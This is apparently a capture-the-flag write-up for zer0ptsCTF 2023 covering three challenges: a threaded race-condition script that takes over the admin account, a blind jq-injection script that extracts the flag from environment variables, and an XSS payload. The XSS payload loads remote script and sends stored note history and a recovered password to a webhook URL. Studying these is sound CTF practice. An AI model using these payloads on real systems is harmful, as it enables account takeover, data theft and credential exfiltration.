zer0ptsCTF2023 WP

zer0ptsCTF2023 WP

Warmuprofile

A nice race condition problem.

It is easy to find that, our goal is to delete the admin’s account and register a new one. However there is a strict checker before the operation.

Considering the race condition, in one thread, the user has been destroyed, in another thread, we are executing the User.destroy

Once the user becomes null, we can delete all the users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import threading

url = "http://CBUFJGPbdXQqWiRT:gLUdWZHQOeipJkra@misc2.2023.zer0pts.com:64794/"

def run(sess):
sess.post(url + "user/a/delete")

sess = requests.session()
sess.post(url + "register", data={"username": 'a', "password": 'a', "profile": 'a'})
sess.post(url + "login", data={"username": 'a', "password": 'a'})
for i in range(30):
threading.Thread(target=run, args=(sess,)).start()
res = requests.post(url + "register", data={"username": 'admin', "password": 'admin', "profile": 'a'})
print(res.text)

In the official WP, we just need to login in two different sessions, and execute the delete operation.

jqi

what is jq?

A jq program is a “filter”: it takes an input, and produces an output. There are a lot of builtin filters for extracting a particular field of an object, or converting a number to a string, or various other standard tasks.

In this problem, we are going to bypass the checker and inject into the jq command.

We can find that the checker has banned " and\(

In order to inject our command, we can use \ to escape double quotes, and we can submit two condition to close double quotes, and in command env , we can fetch the FLAG from system env variables.

However, it will not return the FLAG directly, we need to use blind injection.

We can use explode filter to transform the String into a number array, and use| if .[0:1]>=10 then halt_error(1) else halt end to check whether we got the correct character.

Besides, we can use binary search to accelerate this process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://127.0.0.1:8300/api/search?keys=name%2Ctags%2Cauthor%2Cflag&conds="

payload = "%5C%20in%20name%2C%29%29%5D%20%7C%20env%20%7C%20.FLAG%20%7C%20explode%20%7C%20if%20.[{id}]>={num}%20then%20halt_error%281%29%20else%20halt%20end%20%23%20in%20name"

flag = ""

for i in range(20):
l, r = 0, 127
while l < r - 1:
mid = (l + r) // 2
res = requests.get(url + payload.format(id=i, num=mid))
if "wrong" in res.text:
l = mid
else:
r = mid
flag = flag + chr(l)
print(flag)

Neko-note

We can see in function replaceLinks, there exists a variable splicing.

Note that the server doesn’t check the note’s title, so we can make a XSS here.

In onfocus, we can use 1 onfocus=document.body.appendChild(document.createElement("script")).src="VPS/evil.js" autofocus to load any js we want

In our evil JS, we can use document.execCommand('undo'); to recover the password and use document.location to transfer the information

1
2
document.execCommand('undo');
document.location='https://webhook.site/968d6497-f519-45b9-be90-ffaa22eedc24/'+escape(JSON.stringify(localStorage.getItem('neko-note-history')))+escape(document.body.querySelector('input').value);

Official WP